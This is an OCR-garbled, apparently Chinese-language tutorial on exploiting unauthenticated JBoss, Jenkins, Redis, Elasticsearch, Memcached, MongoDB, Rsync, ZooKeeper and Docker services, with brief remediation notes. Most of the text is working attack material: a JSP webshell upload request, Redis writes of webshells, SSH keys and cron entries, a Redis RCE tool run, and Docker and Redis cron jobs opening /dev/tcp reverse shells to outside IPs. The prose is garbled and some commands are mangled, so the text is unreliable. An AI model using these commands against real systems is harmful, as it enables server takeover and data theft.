RIFMN B T BRARBERDDRENREFR , BRRREFIRDT

e Jboss FKIEMNiFIE)

e Jenkins FKEUAIA)

* |dapFRIETIA)

e RedisFIERUAIE]

e elasticsearch=kiZtisia)
e MenCachezRiZiim(a)
e Mongodb=kiEizIa)

e RsyncRIERGAIE)

e Zookeeperzx#Zfisial
e DockersR#ER7(A)

1. JbossFKiEHGHE
RRRA :
E(ERRAS |, BRATLLAE)boss webizgl&(http://127.0.0.1:8080/jmx-console) , TP B3,

€ 127.0.0.1:8080/jmx-console/ ¢ @ Qex 8 3 A © ® |- =

"

d B JMX Agent View

° DESKTOP-TU92VDD (127.0.0.1) - default
[ J

ObjectName Filter {e.g. "jboss:™", "*:service=invoker,*") :| | ApplyFitter

Catalina

* type=Server

. e=5tringCache

JMImplementation

* name=Default,service=l oaderRepository
® type=MBeanRegistry

¢ type=MBean ServerDelegate

com.arjuna.ats.properties

* module=arjuna
* module=jta

* module=txoj
jboss
« datab localDB.
* name=PropertyEditorManager.type=Service
® name=>SystemP ies,type=Service
* readonly=true service=invoker.target=Namin e=htt)

® service= Service
* service=ClientUserTransaction

iR
1. BA—HEARS:

http://127.0.0.1:8080/jmx-console//HtmlAdaptor?
action=invokeOpByName&name=jboss.admin%3Aservice¥%3DDeploymentFileRepository&methodName=stor
e&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&argl=shell&argType=jav
a.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter (%22f%2
2)'%3dnul1)
(new+java.io.FileoutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter (%22
%22))) .write(request.getParameter (%22t%22) .getBytes())%3b+%25%3e&argType=boolean&arg4=True


af://n25
http://127.0.0.1:8080/jmx-console

2. Bt

http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world!

3. 1A .t

http://127.0.0.1:8080/August/1.txt

MR : jexboss , —MERIPythonfwERYbossimEAIFRIFTR , @I eaLUeHF]Bweb-console , jmx-

console , JMXInvokerServletiX="NEiE , FFEEILSEE— N shell,

157N . ZFjmx-consoleflweb-console , IE5% &M

2. Jenkins FKigHLAIE
TwRRR : RIREZER , SERERUAE,
TR - BEs@iurlihia

http://<target>:8080/manage
http://<target>:8080/script

B 4+ & ® O

@

€ 192.168.101.1:8080/script ¢ @ Pex
Jenkins

= New ltem prm— .

& People z Scrl pt CO“SOle

= Build History

{h Manage Jenkins System cut, it will go to the server's stdout, which is harder to see) Example:

& My views println(Jenkins. instance. pluginManager. plugins)

fﬁ' New View All the classes from all the plugins are visible, jenkins. %, jenkins. model %, hudson. %, and hudson model. = are pre-imported.

Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘println' command to see the output (if you use

println “whoami”. execute (). text
Build Queue =

No builds in the queue.

Build Executor Status =

1 Idle
2 Idle

Result ‘p””//

nt authority\system

EEEN | REROSER.

IdapsR{EinHIE
imRRE : iREXfLdapits
FEMIBA

TERIGE , SEERENIAE,


af://n39
af://n46

#! /usr/bin/env python
# _*_ coding:utf-8 _*_

from ldap3 import Connection,Server,ALL
def Tdap_anonymous(ip):
try:
server = Server(ip,get_info=ALL,connect_timeout=1)
conn = Connection(server, auto_bind=True)
print "[+] l1dap Togin for anonymous"
conn.closed
except:
#pass
print '[-] checking for 1dap anonymous fail'

FATIE : EfALdapBrowserBZIEAN , SABBIRMER.
1BEEINY : 1EINEZABIGIE.,

4, RedisFkKiEHHE
TR -
L/ — . BN IRIRSwebshell

AT LB dIngEA— 1 BRa , mdbfilename AX4Eb , BifiTsavedkbgsave , MEAITHATLABAN—NER S
a/bHYEESUY :

config set dir /home/wwwroot/default/
config set dbfilename redis.php

set webshell "<?php phpinfo(); ?>"
save

BT ANFAEIAIEREX rootA R

1. ssheZiBEcE

ssh-keygen -t rsa -p '' #ERAER/FASARS

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt #E HEEAN foo.txt (&
R Redis BAMMH

2, EERedisSEAX

cat foo.txt | ./redis-cli -h 192.168.125.140 -x set crackit
./redis-cli -h 192.168.125.140

config set dir /root/.ssh/

config get dir

config set dbfilename "authorized_keys"

save


af://n53

A BFAERINE FredisiRSS 28

root@kali:~/.ssh# ssh 192.168.125.

The authenticity of h 8

RSA key fingerprint is

Are you sure you want to cnntlnue cnnnectlng (y
Warning: Permanently added '192.168.125.140' (R

Last login: Sat Aug 26 16:19:56 2017 from 162.168.125.
[root@localhost ~]#
[root@localhost ~]#
[root@localhost ~]# ifconfig
ethd Link encap:Ethernet Hwaddr 6@
inet addr:192. ]53 125.140

inet6 addr: f 0c:29ff: febl: d:4d /B4 bcnpe 1nk

RUNNINh MULT 1 MTU:1 Metrl :1
RX packet 3875 dropped:® o frame: o
TX pdcket : : drnpped:@ overruns:8 carrier:@

RX b“t 51 2177 (2.1 hlB? TX bytes 834 (8.2 GiB)

Link encap:Local Loopback

inet addr:127.0.8.1 Mask 0.0.0

inetd addr: ::1/128 Scope

UP LOOPBACK RUNNING MTU:16436 Metric:l

RX packets:10160 error dropped: 8 overruns:8 frame:0
TX packets:10160 errors:0 dropped:© overruns:@ carrier:0
collisions:@ t-queuelen 8

RX byt B (673.2 KiB) TX bytes:688360 (673.2 KiB)

= F|BcontrabitX{EE Ki#shell

config set dir /var/spool/cron/crontabs/

config set dbfilename root

flushall

set test "* * * * * /pin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1"
save

ZHI . ENEHRCE

fEReids 4.xZf5 , RedisFIE THRIRINEE , BIIMNHRRE , ATLASCHI7ERedissCIl— NiAYRedis®ip s |, BIIECE
SRFHINEEEN.soXE | IXERIBHITRIBR.

BT ARSI —5 Baftgetshell :
. ERCERE.soM Y, FERedisModules-ExecuteCommand{sEFAmakedmiZRInI 454,

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2. WERHIT : python redis-rce.py -r Birip-p BimmO -L Aitbip -f TE.so



git clone https://github.com/Ridter/redis-rce.git

cd redis-rce/

Ccp ../RedisModules-ExecuteCommand/src/module.so ./

pip install -r requirements.txt

python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

5. Elasticsearch&{ZiikIE
JBRIRE : Elasticsearch ERIAER799200 , & AT LABEEEhttp://ip:port,
TN

#! /usr/bin/env python
# _*_ coding:utf-8 _*_

import requests
def Elasticsearch_check(ip, port=9200, timeout=5):

try:
url = "http://"+ip+":"+str(port)+"/_cat"
response = requests.get(url)

except:
pass

if "/_cat/master" in response.content:
print '[+] Elasticsearch Unauthorized:

+ip+':"+str(port)
IR

http://Tocalhost:9200/_cat/indices
http://localhost:9200/_river/_search BEEIIBEHEE
http://localhost:9200/_nodes BETLEHIE

WMB%%cheadid@f :
http://localhost:9200/_plugin/head/ webEIERMmE
EEEN :
1. BRWIIPIAIE , 4PEREEIP
2. fEconfig/elasticsearch.ymlgr99200im iR EIAILE :
http.basic.enabled true #x , HESEESEPHTTPIERE
http.basic.user "admin" #WKS

http.basic.password "admin_pw" #Z5f3
http.basic.ipwhitelist ["Tocalhost", "127.0.0.1"]

6. MenCachesRiZHLA1E


af://n76
af://n87

BRIRE : Memcached HHNEGFRS , FIARY 1211 I AR EREBEANEE , BEEREHIRRIeREEIERE
FEER | ENTERERIME,

B -

#! /usr/bin/env python
# _*_ coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("stats\r\n")
result = s.recv(1024)
if "STAT version" in result:
print '[+] Memcache Unauthorized: '
except Exception, e:

pass

+ip+':"+str(port)

iRmRILE :

#TEFAFPE%RS , sl EEEEmenmcache IRSH911211KO,
telnet x.x.x.x 11211

stats //&E&Bmemcache REIRZE

stats items //BEERHEIitems

stats cachedump 32 0 //3kB%&Efzkey

get :state:264861539228401373:261588 //iEidkeyiEEiBMvalue , SKESLFREFRZ | ERBRMSEMHE

IESEW « BEMipttbit)y 127.0.0.1 , BiE @i firewal fREIGIA.

7. Mongodb3RiZHifIE

imERE : MongoDB ENARIRBRIGIERY , ERMAF A LIBI RGO THEE B SR ISR (BN NS
fesnfF) , MBERLUTELIaEUER:.

B -

#! /usr/bin/env python
# _*_ coding:utf-8 _*_
def mongodb(ip,port):
try:
client = MongoClient(ip,port)
db=cTlient.Tocal
flag = db.collection_names()
if flag:
print "[+] Mongodb Tlogin for anonymous"”
except Exception, e:
pass


af://n95

IEERN : IEIIFAFPEENIRIGIE | IRE AR TEE ThaEH,

8. RsyncRiZHLnE
RRER : AEEWESFIHAL , SRcRERIAE.
SR -

FISBANEASERHISERS

rsync 10.0.0.12 ::
rsync 10.0.0.12 :: www /

TEI S B REAM
rsync - avz 10.0.0.12 :: www/ /var/tmp
rsync - avz 10.0.0.12 :: www/ /var/tmp

L EARMHEIRS I
rsync -avz webshell 10.0.0.12 :: www /

IESEW : IBIIRFPEISIAL , IREHRippRE,

9, ZookeeperkiZHinla

JREIREA : ZooKeeperZEOAFFEE2181imM , TEAREITHE AL AEFIBER T , W& B HiTenvisgSIRERS
KENBRER , BIERFAFR. Javaifis,

FBIEAE, : echo envi|nc 192.168.15.74 2181

# echo envi|nc 192.168.15.74 2131

lon=1.7.8 5
for=0racle Corporati

IEEEN  FIIRPREPAL | REipihialEs,

10, DockerZRiZtisIa

JBRERE : docker remote apirJLAMI{Tdockerdp< , dockersFiPiHF2sIF7£0.0.0.0 , B E SR FHAPISRIRIE
docker,

sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375


af://n101
af://n107
af://n113

iR

1Biddocker daemon api #lfTdockerép<,

#HIHFEMER |, R Sdocker ps—E.
curl http://<target>:2375/containers/json

#oBes
docker -H tcp://<target>:2375 ps -a

1. FEIT— B8 | EERRENRSSENRERESE/ mMntBRT.
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
2. EBRSERNITES | BRiEshellRFIZAS NEl/var/spool/cron/root

echo '* * * * * /pin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1"' >>
/mnt/var/spool/cron/crontabs/root
3. AiiEITRO , SKERISEEshell,

bypaéa@bypaaa:=5 nc -luwp 12345
Listening on [2.8.0.8] (family @, port 12345)

Connection from [10.1.1.211] port 12345 [tcp/*] accepted (family 2. sport 48326)
root@ubuntu: /# whoami

whoami

root

MNERESEFMEBMTARRS L |, WBSAAAIEFHRAILARS —EEXE— T, FEIREESEE.
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